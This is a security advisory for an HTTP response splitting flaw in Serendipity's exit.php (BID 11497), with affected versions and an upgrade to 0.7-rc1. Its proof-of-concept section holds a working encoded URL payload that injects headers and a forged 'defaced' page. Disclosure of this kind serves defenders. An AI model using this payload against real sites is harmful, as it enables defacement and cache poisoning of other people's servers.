Serendipity Exit.PHP HTTP Response Splitting Vulnerability
BID:11497
Info
Serendipity Exit.PHP HTTP Response Splitting Vulnerability
| Bugtraq ID: | 11497 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 21 2004 12:00AM |
| Updated: | Oct 21 2004 12:00AM |
| Credit: | Discovery of this vulnerability is credited to ChaoticEvil. |
| Vulnerable: |
S9Y Serendipity 0.7 beta3 S9Y Serendipity 0.7 beta1 S9Y Serendipity 0.7 -beta4 S9Y Serendipity 0.7 -beta2 S9Y Serendipity 0.6 -rc2 S9Y Serendipity 0.6 -rc1 S9Y Serendipity 0.6 -pl3 S9Y Serendipity 0.6 -pl2 S9Y Serendipity 0.6 -pl1 S9Y Serendipity 0.6 S9Y Serendipity 0.5 -pl1 S9Y Serendipity 0.5 S9Y Serendipity 0.4 S9Y Serendipity 0.3 |
| Not Vulnerable: |
S9Y Serendipity 0.7 -rc1 |
Discussion
Serendipity Exit.PHP HTTP Response Splitting Vulnerability
Serendipity is reported prone to an HTTP response splitting vulnerability.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.
This issue is identified in Serendipity 0.7-beta4 and prior.
Serendipity is reported prone to an HTTP response splitting vulnerability.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.
This issue is identified in Serendipity 0.7-beta4 and prior.
Exploit / POC
Serendipity Exit.PHP HTTP Response Splitting Vulnerability
The following proof of concept is available:
http://www.example.com/serendipity/exit.php?url=DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb
250ZW50LUxlbmd0aDogMA0KDQpIVFRQLzEuMCAyMDAgT0sNCkNvbnRlbnQtTGVuZ3RoOiAyMQ0KQ
29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPGh0bWw%2bKmRlZmFjZWQqPC9odG1sPg%3d%3d
The following proof of concept is available:
http://www.example.com/serendipity/exit.php?url=DQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb
250ZW50LUxlbmd0aDogMA0KDQpIVFRQLzEuMCAyMDAgT0sNCkNvbnRlbnQtTGVuZ3RoOiAyMQ0KQ
29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPGh0bWw%2bKmRlZmFjZWQqPC9odG1sPg%3d%3d
Solution / Fix
Serendipity Exit.PHP HTTP Response Splitting Vulnerability
Solution:
The vendor has released an update to address this vulnerability.
S9Y Serendipity 0.3
S9Y Serendipity 0.4
S9Y Serendipity 0.5 -pl1
S9Y Serendipity 0.5
S9Y Serendipity 0.6
S9Y Serendipity 0.6 -rc1
S9Y Serendipity 0.6 -pl3
S9Y Serendipity 0.6 -rc2
S9Y Serendipity 0.6 -pl2
S9Y Serendipity 0.6 -pl1
S9Y Serendipity 0.7 beta1
S9Y Serendipity 0.7 beta3
S9Y Serendipity 0.7 -beta4
S9Y Serendipity 0.7 -beta2
Solution:
The vendor has released an update to address this vulnerability.
S9Y Serendipity 0.3
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.4
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.5 -pl1
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.5
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.6
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.6 -rc1
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.6 -pl3
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.6 -rc2
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.6 -pl2
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.6 -pl1
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.7 beta1
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.7 beta3
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.7 -beta4
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
S9Y Serendipity 0.7 -beta2
-
S9Y serendipity-0.7-rc1.tar.gz
http://prdownloads.sourceforge.net/php-blog/serendipity-0.7-rc1.tar.gz ?download
References
Serendipity Exit.PHP HTTP Response Splitting Vulnerability
References:
References: